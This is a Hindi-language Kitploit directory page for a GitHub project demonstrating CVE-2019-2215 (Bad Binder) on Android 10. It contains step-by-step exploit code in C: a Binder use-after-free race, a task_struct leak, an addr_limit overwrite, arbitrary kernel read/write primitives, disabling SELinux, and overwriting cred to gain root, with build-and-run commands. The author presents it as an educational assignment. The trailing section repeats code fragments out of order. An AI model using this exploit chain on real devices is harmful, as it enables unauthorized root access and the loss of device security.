Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
android-badbinder-demo — डेमो CVE-2019-2215 (Bad Binder) Android Q के लिए | Kitploit
उपकरण/GitHubGitHub/i-redbyte/android-badbinder-demo
एंड्रॉइड सुरक्षाविशेषाधिकार वृद्धिशोषणलर्निंग और शिक्षाबाइनरी शोषण
GitHubi-redbyte/android-badbinder-demo

android-badbinder-demo

डेमो CVE-2019-2215 (Bad Binder) Android Q के लिए

रिपॉजिटरी देखें
51410 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2019-2215 (Bad Binder) — एक्सप्लॉइट विश्लेषण

यह रिपॉजिटरी CVE-2019-2215 (Bad Binder) भेद्यता पर शोध और Kotlin/Jetpack Compose के साथ Android के लिए एक कार्यशील प्रोटोटाइप एक्सप्लॉइट लिखने का एक छोटा परीक्षण प्रोजेक्ट है।

README में मैं:

  1. एक्सप्लॉइट प्रोटोटाइप के लिए पर्यावरण तैयार करने और चलाने का वर्णन करता हूँ।
  2. CVE-2019-2215 के शोषण के मुख्य चरणों का विश्लेषण करता हूँ और उन्हें C कोड में विशिष्ट कार्यों से मैप करता हूँ।
  3. अलग से उन कठिनाइयों को सूचीबद्ध करता हूँ जिनका मुझे रास्ते में सामना करना पड़ा और मैंने उन्हें कैसे हल किया।

तैयार APK (GitHub Actions)

रिपॉजिटरी में एक GitHub Actions वर्कफ़्लो कॉन्फ़िगर किया गया है, जो प्रत्येक push/PR पर ./gradlew assembleDebug कमांड के साथ प्रोजेक्ट बनाता है और तैयार badbinder-debug.apk को एक आर्टिफैक्ट के रूप में प्रकाशित करता है।

इसे इस प्रकार डाउनलोड किया जा सकता है:

  1. रिपॉजिटरी में Actions टैब खोलें।
  2. वांछित वर्कफ़्लो रन चुनें।
  3. पेज के नीचे Artifacts अनुभाग ढूँढें और निर्मित APK के साथ badbinder-debug-apk संग्रह लें।

यह सुविधा के लिए किया गया है, यदि कोई स्थानीय वातावरण सेट किए बिना बस एप्लिकेशन का परीक्षण करना चाहता है।


भेद्यता के बारे में संक्षेप में

CVE-2019-2215 Android कर्नेल की Binder IPC उपप्रणाली में एक Use-After-Free (UAF) है।

सरलीकृत:

  • कर्नेल में एक संरचना struct binder_thread है जो Binder कॉल करने वाले थ्रेड का वर्णन करती है;
  • इस संरचना को मुक्त (free) किया जा सकता है, लेकिन कॉल के एक निश्चित क्रम के तहत यह अभी भी प्रतीक्षा सूचियों (waitqueue) में बनी रहती है;
  • बाद में कर्नेल remove_wait_queue में पहले से मुक्त मेमोरी के साथ काम करने का प्रयास करता है, जो एक क्लासिक UAF परिदृश्य खोलता है;
  • यदि वातावरण और बाद के आवंटन को सावधानीपूर्वक चुना जाए, तो कर्नेल को मनमाने पतों पर पढ़ने/लिखने के लिए मजबूर किया जा सकता है, और फिर कर्नेल विशेषाधिकार और फिर userspace में root प्राप्त किया जा सकता है।

अधिक विस्तृत सैद्धांतिक विश्लेषण मैंने सामग्री के अनुसार किया:

  1. https://cloudfuzz.github.io/android-kernel-exploitation/
  2. https://dayzerosec.com/blog/2019/11/07/analyzing-androids-cve-2019-2215-dev-binder-uaf.html
  3. https://hernan.de/blog/tailoring-cve-2019-2215-to-achieve-root/

1. पर्यावरण तैयार करना और एक्सप्लॉइट प्रोटोटाइप चलाना

1.1. वर्चुअल डिवाइस का चयन और तैयारी

असाइनमेंट के अनुसार Android 10.0 (Q) x86_64 इमेज वाले AVD का उपयोग करने की सिफारिश की गई है।
मैंने निम्नलिखित किया:

  1. Android Studio में एक AVD बनाया (Pixel डिवाइस, Android 10 (Q), x86_64)।
  2. सुनिश्चित किया कि इमेज में Binder सक्षम है और /dev/binder डिवाइस मौजूद है।
  3. USB/ADB डिबगिंग सक्षम की और डिवाइस तक पहुँच की जाँच की:
    root@kitploit:~
    adb shell
    ls -l /dev/binder
    

इस स्तर पर मुझे एक अप्रिय तथ्य का सामना करना पड़ा:
वर्तमान में आधुनिक AVD इमेज पहले से पैच किए गए कर्नेल के साथ आती हैं, जिसमें CVE-2019-2215 बंद कर दी गई है। अर्थात्, आधुनिक आधिकारिक एमुलेटर पर वास्तव में root प्राप्त करना संभव नहीं होगा — एक्सप्लॉइट बाद के चरणों में विफल हो जाता है या बस विशेषाधिकार वृद्धि नहीं देता।

अंततः मैं AVD का उपयोग एक्सप्लॉइट के तर्क को पुन: प्रस्तुत करने के लिए प्रशिक्षण उपकरण के रूप में करता हूँ:

  • मुझे सिस्टम कॉल के समान अनुक्रम मिलते हैं,
  • मैं UAF प्रयासों, पता लीक और addr_limit को अधिलेखित करने के प्रयास का निरीक्षण करता हूँ,
  • लेकिन वर्तमान, पैच किए गए कर्नेल पर अंतिम "root प्राप्त करना" स्वाभाविक रूप से काम नहीं करता (और यह अपेक्षित है)।

यह एक महत्वपूर्ण बारीकियाँ है: नीचे दिया गया सभी कोड और रिपोर्ट शैक्षिक हैं, 'लड़ाकू' नहीं।


1.2. मूल एक्सप्लॉइट के साथ Android एप्लिकेशन का निर्माण

मैंने एक छोटा Android एप्लिकेशन बनाया:

  • UI Kotlin + Jetpack Compose पर,
  • Native भाग C में JNI के माध्यम से — वास्तविक एक्सप्लॉइट कोड,
  • उनके बीच संचार JNI कॉलबैक के माध्यम से, ताकि C कोड से स्ट्रिंग सीधे UI में आ सकें।

मुख्य चरण:

  1. Android Studio में एक सामान्य प्रोजेक्ट बनाया (Kotlin, न्यूनतम Android 10 समर्थन)।

  2. NDK और CMake को जोड़ा।

  3. एक्सप्लॉइट के साथ एक मूल फ़ाइल जोड़ी (वही cve-2019-2215.c जिसमें फ़ंक्शन leak_task_struct, overwrite_addr_limit, आदि हैं)।

  4. CMakeLists.txt में libcve-2019-2215.so का निर्माण जोड़ा।

  5. MainActivity में:

    root@kitploit:~
    init {
        System.loadLibrary("cve-2019-2215")
    }
    
    external fun runNativeExploit(): String
    external fun setNativeLogger(logger: NativeLogger)
    
  6. Kotlin पक्ष पर ExploitViewModel बनाया, जो NativeLogger इंटरफ़ेस को लागू करता है और सभी संदेशों को StateFlow<List<String>> में संग्रहीत करता है। UI इस प्रवाह की सदस्यता लेता है और 'टर्मिनल' में लॉग प्रदर्शित करता है।

गतिविधि शुरू होने पर मैं setNativeLogger(viewModel) कॉल करता हूँ ताकि मूल कोड को वह ऑब्जेक्ट मिल जाए जिसमें स्ट्रिंग भेजी जा सकें।


1.3. लॉन्च और उपयोग परिदृश्य

  1. एप्लिकेशन बनाएँ और स्थापित करें:

    root@kitploit:~
    ./gradlew installDebug
    
  2. AVD और स्वयं एप्लिकेशन लॉन्च करें।

  3. स्क्रीन पर मुझे एक 'टर्मिनल' और एक RUN EXPLOIT बटन दिखाई देता है।

  4. दबाने पर:

    • Kotlin पृष्ठभूमि थ्रेड में runNativeExploit() कॉल करता है।
    • C कोड एक्सप्लॉइट के सभी चरणों को निष्पादित करना शुरू करता है और चरणों को लॉग करता है।
    • JNI कॉलबैक के माध्यम से लॉग ViewModel में आता है और Compose-UI में प्रदर्शित होता है।

वास्तविक कमजोर कर्नेल पर मैं अंत में कुछ इस प्रकार देखने की उम्मीद करूँगा:

root@kitploit:~
[+] Selinux changed: Permissive now.
[+] Root escalation successful!
uid=0(root)...

वर्तमान Android 10 एमुलेटर पर, निश्चित रूप से, ऐसा नहीं होता है, लेकिन बाकी सब कुछ — task_struct लीक, addr_limit को अधिलेखित करने का प्रयास, cred और kernel_base की गणना — एक 'परिदृश्य' के रूप में काम करता है, जो असाइनमेंट के लिए आवश्यक था।


2. एक्सप्लॉइट के मुख्य चरणों का विश्लेषण और कोड के साथ मैपिंग

नीचे विशिष्ट C फ़ंक्शन से जुड़ा एक्सप्लॉइट का तार्किक आरेख है।

2.1. एक्सप्लॉइट का सामान्य परिदृश्य

उच्च-स्तरीय योजना इस प्रकार है:

  1. struct binder_thread ऑब्जेक्ट पर UAF बनाएँ और इसका उपयोग करके अपनी प्रक्रिया के task_struct का पता लीक करें (leak_task_struct)।
  2. दूसरे UAF चक्र और सावधानीपूर्वक चुनी गई संरचनाओं के साथ task_struct में addr_limit फ़ील्ड को अधिलेखित करें (overwrite_addr_limit) — इससे आगे copy_to_user / copy_from_user के लिए user-space और kernel-space पतों के बीच की बाधा हट जाती है।
  3. पाइप का उपयोग करके कर्नेल मेमोरी का मनमाना पढ़ना/लिखना लागू करें (arb_read / arb_write)।
  4. इसका उपयोग करके वर्तमान प्रक्रिया के cred और कर्नेल बेस का पता लगाएँ (verifying), फिर:
    • SELinux बंद करें (),

समानांतर में, मैंने JNI लॉगर को एकीकृत किया ताकि ये सभी चरण सीधे UI में दिखाई दें।


2.2. चरण 1 — task_struct पता लीक (leak_task_struct)

मुख्य फ़ंक्शन:

root@kitploit:~
void leak_task_struct() {
    android_log("[*] Starting leak_task_struct...");

    cpu_set_t cpu_set;
    CPU_ZERO(&cpu_set);
    CPU_SET(0, &cpu_set);
    ret = sched_setaffinity(0, sizeof(cpu_set), &cpu_set);
    assert(ret >= 0);
    ...
}

फ़ंक्शन क्या करता है:

  1. थ्रेड को CPU 0 पर फिक्स करता है (sched_setaffinity), ताकि कर्नेल आवंटक का व्यवहार अधिक पूर्वानुमेय हो। यह UAF शोषण की स्थिरता में सुधार करता है।

  2. /dev/binder खोलता है, epoll डिस्क्रिप्टर बनाता है:

    root@kitploit:~
    fd = open("/dev/binder", O_RDONLY);
    epfd = epoll_create(1000);
    

    Binder डिस्क्रिप्टर epoll में पंजीकृत होता है:

    root@kitploit:~
    epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
    
  3. struct iovec iov_buffers[IOVEC_N] की एक सरणी तैयार करता है और मेमोरी आवंटित करता है:

    root@kitploit:~
    spinner = mmap((void *)0x100000000, page_size, PROT_READ | PROT_WRITE,
                   MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    

    यहाँ यह महत्वपूर्ण है कि पते के निचले 32 बिट शून्य हों:

    root@kitploit:~
    if (((long) spinner & 0xffffffff) != 0) {
        android_log("[!] mmap returned wrong address!");
        return;
    }
    

    यह शोषण लेखों की तकनीक से मेल खाता है: आगे कर्नेल हमारे डेटा के एक हिस्से की व्याख्या पॉइंटर्स वाली संरचनाओं के रूप में करता है, और ऐसा 'अच्छी तरह से संरेखित' पता दुरुपयोग को सरल करता है।

    फिर iov_buffers[0xa] और फ़ील्ड इस प्रकार भरे जाते हैं कि UAF के समय कर्नेल मेमोरी के एक टुकड़े को पाइप में कॉपी कर देता है जहाँ का पॉइंटर होता है।

परिणाम: मेरे पास कर्नेल में task_struct का पता है, जो आगे के चरणों के लिए महत्वपूर्ण है।


2.3. चरण 2 — addr_limit को अधिलेखित करना (overwrite_addr_limit)

task_struct में addr_limit यह निर्धारित करता है कि प्रक्रिया सिस्टम कॉल में user-space पॉइंटर्स के रूप में कौन से पते पास कर सकती है। यदि इसे लगभग अधिकतम मान पर अधिलेखित कर दिया जाए, तो कर्नेल अपने एड्रेस स्पेस में user-space पतों और पतों के बीच अंतर करना बंद कर देता है — और कई पहली नज़र में सुरक्षित copy_(to|from)_user संचालन कर्नेल के मनमाने पढ़ने/लिखने में बदल जाते हैं।

फ़ंक्शन:

root@kitploit:~
void overwrite_addr_limit() {
    android_log("[*] Starting overwrite_addr_limit...");
    ...
}

बहुत समान पैटर्न पर काम करता है:

  1. फिर से CPU संबद्धता सेट करता हूँ, /dev/binder खोलता हूँ, epoll बनाता हूँ।

  2. iov_buffers तैयार करता हूँ, लेकिन इस बार योजना अलग है:

    root@kitploit:~
    iov_buffers[0xa].iov_base = spinner;
    iov_buffers[0xa].iov_len = 0x1;
    iov_buffers[0xb].iov_base = read_buffer0;
    iov_buffers[0xb].iov_len = 0x8 * 5;
    iov_buffers[0xc].iov_base = read_buffer0;
    iov_buffers[0xc].iov_len = 0x8;
    
  3. पाइप के बजाय socketpair(AF_UNIX, SOCK_STREAM, ...) का उपयोग करता हूँ:

    root@kitploit:~
    int socket[2];
    ret = socketpair(AF_UNIX, SOCK_STREAM, 0, socket);
    write(socket[1], "A", 1);
    
  4. recvmsg के लिए msghdr संरचना तैयार करता हूँ:

    root@kitploit:~
    struct msghdr msg;
    msg.msg_iov = iov_buffers;
    msg.msg_iovlen = IOVEC_N;
    ...
    
  5. चाइल्ड प्रोसेस में ( fork() के बाद) फिर से UAF रेस शुरू होती है:

    root@kitploit:~
    if (!fork()) {
        ...
        epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);
    
        long data1234[] = {1, 0x13371337, 0x28,
                           task_struct + ADDR_LIMIT_OFFSET, 0x8};
        ret = write(socket[1], data1234, 0x28);
    
        data1234[0] = data1234[1] = data1234[2] = data1234[3]
            = 0xfffffffffffffffe;
        ret = write(socket[1], data1234, 0x8);
        ...
    }
    

2.4. चरण 3 — मनमाना पढ़ना/लिखना और सत्यापन (arb_read, arb_write, verifying)

addr_limit को अधिलेखित करने के बाद, मैं सामान्य पढ़ने/लिखने के संचालन को कर्नेल पतों को पढ़ने और लिखने की क्षमता में बदलने के लिए पाइप का उपयोग करता हूँ।

प्रिमिटिव arb_read / arb_write

root@kitploit:~
unsigned long arb_read(unsigned long addr) {
    int pipe_fd[2];
    ret = pipe(pipe_fd);
    assert(ret != -1);

    unsigned long data = 0;
    write(pipe_fd[1], (void *)&addr, 8);
    read(pipe_fd[0], &data, 8);

    return data;
}

इसी प्रकार arb_write प्रतिलिपि की दिशा बदलता है।

मुख्य संरचनाओं का सत्यापन और खोज

फ़ंक्शन verifying():

root@kitploit:~
void verifying() {
    android_log("[*] Starting verification...");

    int pipe_fd[2];
    ret = pipe(pipe_fd);
    assert(ret != -1);

    write(pipe_fd[1], (void *) task_struct, 0x1000);
    read(pipe_fd[0], buf, 0x1000);

    assert(getpid() == *(int *) (buf + PID_OFFSET));
    android_log("[!] Arbitrary rw verified with PID :D");

    cred = *(unsigned long *) (buf + CRED_OFFSET);
    kernel_leak = *(unsigned long *) (buf + 0x70);
    kernel_base = kernel_leak - 0xffffffff8100bf10 + 0xffffffff80200000;
}

यहाँ मैं:

  • कर्नेल से task_struct की सामग्री पढ़ता हूँ;
  • PID_OFFSET द्वारा सुनिश्चित करता हूँ कि यह वास्तव में मेरी संरचना है;
  • cred पर पॉइंटर और कर्नेल से पता लीक (kernel_leak) निकालता हूँ;
  • एक कठोर कोडित ऑफ़सेट के साथ समायोजन करके kernel_base की गणना करता हूँ।

2.5. चरण 4 — SELinux और root तक वृद्धि

runNativeExploit में अंतिम भाग:

root@kitploit:~
selinux_enforcing = kernel_base + 0x149fe58;
...
arb_write(selinux_enforcing, 4, buf + 0x10);
android_log("[+] Selinux changed: Permissive now.");
  • मैं वैश्विक चर selinux_enforcing के पते की गणना करता हूँ और इसे शून्य/'अनुमेय' स्थिति पर सेट करता हूँ।

आगे — cred को अधिलेखित करना:

root@kitploit:~
memset(buf, 0, 0x100);
unsigned long *ptr = (unsigned long *) (buf + 0x30);
*ptr++ = 0x0000003FFFFFFFFF;
*ptr++ = 0x0000003FFFFFFFFF;
*ptr++ = 0x0000003FFFFFFFFF;
arb_write(cred + 4, 0x4c, buf + 4);

मैं सचमुच cred के क्षमता फ़ील्ड और कुछ अन्य फ़ील्ड में अधिकतम मान भरता हूँ ताकि प्रक्रिया को अधिकारों का पूरा सेट मिल सके।

अंतिम जाँच:

root@kitploit:~
if (getuid() == 0) {
    android_log("[+] Root escalation successful!");
} else {
    android_log("[!] Root escalation failed!");
}

वास्तविक कमजोर कर्नेल पर मैं यहाँ uid=0 की उम्मीद करूँगा, पैच की गई इमेज पर — तार्किक रूप से वृद्धि अक्षम होगी।


2.6. JNI और UI में लॉगिंग

सब कुछ वास्तविक समय में देखने के लिए, मैंने एक मध्यवर्ती परत जोड़ी:

  • JNI_OnLoad JavaVM* और मुख्य प्रक्रिया के PID को सहेजता है;
  • setNativeLogger एक Kotlin ऑब्जेक्ट स्वीकार करता है जो onLog(String) विधि लागू करता है और इसे GlobalRef के रूप में सहेजता है;
  • android_log/android_log_hex logcat में लिखते हैं और send_to_ui को कॉल करते हैं, जो Kotlin में स्ट्रिंग पहुँचाता है, जहाँ ExploitViewModel इसे लेता है और Compose-'टर्मिनल' में प्रदर्शित करता है।

महत्वपूर्ण बात यह है कि send_to_ui चाइल्ड प्रक्रियाओं को PID द्वारा फ़िल्टर करता है — fork() के बाद exec() के बिना JNI को प्रक्रिया से कॉल करना असुरक्षित है।


3. कठिनाइयाँ और उनका समाधान

3.1. पैच किए गए AVD इमेज

मुझे इस तथ्य का सामना करना पड़ा कि वर्तमान में Android 10 के कोई आधिकारिक AVD इमेज अपैच कर्नेल के साथ उपलब्ध नहीं हैं, जिनमें CVE-2019-2215 अभी भी मौजूद है।

'लड़ाकू' root प्राप्त करने के बजाय, मैंने इस पर ध्यान केंद्रित किया:

  • शोषण के तर्क को पुन: प्रस्तुत करना,
  • UAF अनुक्रम का विश्लेषण करना,
  • Android एप्लिकेशन में सभी चरणों का विज़ुअलाइज़ेशन।

यदि वांछित हो, तो इस कोड को पुराने अपैच कर्नेल वाले वास्तविक डिवाइस पर पोर्ट किया जा सकता है, लेकिन यह असाइनमेंट के दायरे से बाहर है।


3.2. कठोर ऑफ़सेट और कर्नेल संस्करण पर निर्भरता

मुझे स्पष्ट रूप से सेट करना पड़ा:

  • ADDR_LIMIT_OFFSET, PID_OFFSET, CRED_OFFSET;
  • kernel_leak और selinux_enforcing के लिए ऑफ़सेट;
  • kernel_base की गणना के लिए स्थिरांक।

मैंने जानबूझकर इन मानों की खोज को स्वचालित नहीं किया ताकि प्रोजेक्ट का आकार न बढ़े। रिपोर्ट में मैं इस तथ्य पर भरोसा करता हूँ कि यह कर्नेल के एक विशिष्ट संस्करण के लिए एक शैक्षिक उदाहरण है, न कि एक सार्वभौमिक एक्सप्लॉइट।


3.3. रेस और स्थिरता

fork(), epoll_ctl, BINDER_THREAD_EXIT और विभिन्न टाइमिंग का उपयोग एक खदान क्षेत्र है। मुझे पता चला कि बिना:

  • sched_setaffinity,
  • छोटे sleep,
  • और रास्ते में आक्रामक assert के

एक्सप्लॉइट अत्यंत अस्थिर हो जाता है।
मैंने धीरे-धीरे अनुक्रम को डीबग किया ताकि कमजोर कॉन्फ़िगरेशन पर यह पूर्वानुमेय हो, और पैच किए गए कॉन्फ़िगरेशन पर अंतिम चरणों में सही ढंग से 'विफल' हो।


3.4. JNI और fork()

मुझे यह भी सामना करना पड़ा कि चाइल्ड प्रक्रिया से सीधे JVM में लॉग करने के प्रयास अजीब व्यवहार का कारण बनते हैं।
मुझे JNI नियमों को याद करना पड़ा और केवल मुख्य प्रक्रिया से JVM के साथ संवाद करने के लिए PID जाँच जोड़नी पड़ी।

समझौता: कुछ संदेश केवल logcat में दिखाई देते हैं, और UI में केवल वही प्रदर्शित होता है जो पैरेंट से आया है। यह मेरे लिए स्वीकार्य था, क्योंकि असाइनमेंट के ढाँचे में मुख्य नियंत्रण बिंदु महत्वपूर्ण हैं, न कि हर डीबग प्रिंट।


3.5. UI

बोनस के रूप में, असाइनमेंट के अधिक रचनात्मक कार्यान्वयन के लिए, मैंने विश्लेषण के लिए सुविधाजनक एक इंटरफ़ेस बनाने का निर्णय लिया:

  • मैंने एक डार्क टर्मिनल और हरे टेक्स्ट की शैली में एक 'कंसोल' के साथ एक स्क्रीन लागू की;
  • लॉग पंक्ति दर पंक्ति आउटपुट होता है, अंतिम प्रविष्टि पर ऑटो-स्क्रॉल के साथ;
  • विभिन्न प्रकार के संदेशों ([+], [*], [!], [C]) को पढ़ने में आसानी के लिए विभिन्न रंगों से हाइलाइट किया जाता है;
  • निष्पादन परिणाम (Success / Failed) एक अलग ब्लॉक में प्रदर्शित होता है।

यह मूल कोड के काम की धारणा को बहुत सरल करता है: सूखे logcat के बजाय, मैं सब कुछ एक ही स्थान पर, सीधे एप्लिकेशन में देखता हूँ।


परिणाम

असाइनमेंट पर काम करने के परिणामस्वरूप, मैंने:

  1. AVD वातावरण और CVE-2019-2215 एक्सप्लॉइट को लागू करने वाले मूल भाग वाला एक Android एप्लिकेशन तैयार किया।
  2. शोषण का चरण दर चरण विश्लेषण किया:
    • Binder में UAF और task_struct लीक,
    • addr_limit को अधिलेखित करना,
    • मनमाने पढ़ने/लिखने के प्रिमिटिव का निर्माण,
    • cred की खोज, SELinux को अक्षम करना और विशेषाधिकार वृद्धि का प्रयास।
  3. कई वास्तविक इंजीनियरिंग समस्याओं (कर्नेल में पैच, संस्करण निर्भरता, रेस, JNI विशिष्टताएँ) का सामना किया और क्रमिक रूप से उन्हें हल किया या उनसे बचा।

यह प्रोजेक्ट कॉम्पैक्ट निकला, लेकिन संक्षेप में यह एक वास्तविक कर्नेल भेद्यता के पूरे जीवन चक्र को दर्शाता है: सैद्धांतिक विवरण और लेख पढ़ने से लेकर व्यावहारिक कार्यान्वयन और एक जीवित Android एप्लिकेशन में एकीकरण तक।

P.S.

एक्सप्लॉइट चलाने का वैकल्पिक तरीका

निर्देशिका cve-2019-2215 में एक Makefile है जो आपको एक मूल बाइनरी (x86_64) बनाने और इसे ADB के माध्यम से सीधे AVD में चलाने की अनुमति देता है। यदि aarch64 संस्करण की आवश्यकता है, तो इसे अलग से बनाया जा सकता है।

  1. मूल बाइनरी बनाएँ:
    root@kitploit:~
    cd cve-2019-2215
    make
    
  2. बाइनरी को AVD में कॉपी करें, उदाहरण के लिए /sdcard/cve-2019-2215
  3. ADB शेल लॉन्च करें और बाइनरी निष्पादित करें:
    root@kitploit:~
    adb shell
    cd /sdcard/cve-2019-2215
    chmod +x cve-2019-2215
    ./cve-2019-2215
    
  4. सफल निष्पादन के बाद, root प्राप्ति की जाँच की जा सकती है:
    root@kitploit:~
    id
    
    अपेक्षित आउटपुट:
    root@kitploit:~
    uid=0(root) gid=0(root) groups=0(root)
    
टूल डाउनलोड करें
selinux_enforcing = 0
  • root बनने और पूर्ण क्षमता सेट प्राप्त करने के लिए cred फ़ील्ड को अधिलेखित करें (runNativeExploit)।
  • iov_buffers[0xb]
    task_struct
  • एक पाइप बनाता है और उसका बफर आकार 0x1000 सेट करता है:

    root@kitploit:~
    int pipe_fd[2];
    ret = pipe(pipe_fd);
    fcntl(pipe_fd[1], F_SETPIPE_SZ, 0x1000);
    fcntl(pipe_fd[0], F_SETPIPE_SZ, 0x1000);
    
  • इसके बाद — क्लासिक UAF रेस। मैं एक चाइल्ड प्रोसेस शुरू करता हूँ:

    root@kitploit:~
    if (!fork()) {
        android_log("\t[C] Long sleep to ensure accuracy...");
        sleep(1);
    
        android_log("\t[*] Triggering UAF");
        epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);
    
        android_log("\t[C] Removing useless data from pipe...");
        ret = read(pipe_fd[0], buf, 0x1000);
        ...
        _exit(0);
    }
    
    • पैरेंट बाकी कोड निष्पादित करना जारी रखता है।
    • चाइल्ड प्रोसेस में epoll_ctl(..., EPOLL_CTL_DEL, ...) कर्नेल में संबंधित binder_thread को मुक्त करने की ओर ले जाता है, लेकिन यह अभी भी प्रतीक्षा लेखांकन संरचना में मौजूद है — यह UAF बिंदु है।
  • पैरेंट प्रोसेस में मैं कॉल करता हूँ:

    root@kitploit:~
    ioctl(fd, BINDER_THREAD_EXIT, NULL);      // binder_thread को मुक्त करना
    ret = writev(pipe_fd[1], iov_buffers, IOVEC_N);
    

    इस स्तर पर, UAF के कारण, writev पहले से मुक्त मेमोरी को iovec संरचनाओं के रूप में उपयोग करता है और, प्रभावी रूप से, उसी मेमोरी क्षेत्र की पुनर्व्याख्या करता है जहाँ पहले binder_thread था, लेकिन अब पॉइंटर्स/लंबाई के एक सेट के रूप में। साइड इफेक्ट के भाग के रूप में, कर्नेल मेमोरी का एक टुकड़ा हमारे पाइप में कॉपी हो जाता है।

  • अंत में, मैं पाइप से पढ़ता हूँ:

    root@kitploit:~
    read(pipe_fd[0], buf, 0x1000);
    task_struct = *(unsigned long *)(buf + 0xe8);
    android_log_hex("[+] task_struct found", task_struct);
    

    ऑफ़सेट 0xe8 कर्नेल के विशिष्ट संस्करण के लिए चुना गया है — यह वह स्थान है जहाँ लीक हुए मेमोरी ब्लॉक के अंदर मेरी प्रक्रिया के task_struct का पॉइंटर स्थित है।

  • पैरेंट, पहले की तरह, binder_thread को मुक्त करता है और recvmsg कॉल करता है:

    root@kitploit:~
    ioctl(fd, BINDER_THREAD_EXIT, NULL);
    ret = recvmsg(socket[0], &msg, MSG_WAITALL);
    

    UAF और संरचनाओं के चतुर प्रतिस्थापन के कारण, कर्नेल अंततः task_struct + ADDR_LIMIT_OFFSET को user-बफर का पता समझता है और भेजी गई संरचना की सामग्री को वहाँ कॉपी करता है (हमारा मान 0xfffffffffffffffe), जिससे task_struct में addr_limit अधिलेखित हो जाता है।

  • लॉग में मैं लिखता हूँ:

    root@kitploit:~
    android_log("[!] addr_limit overwrite done.");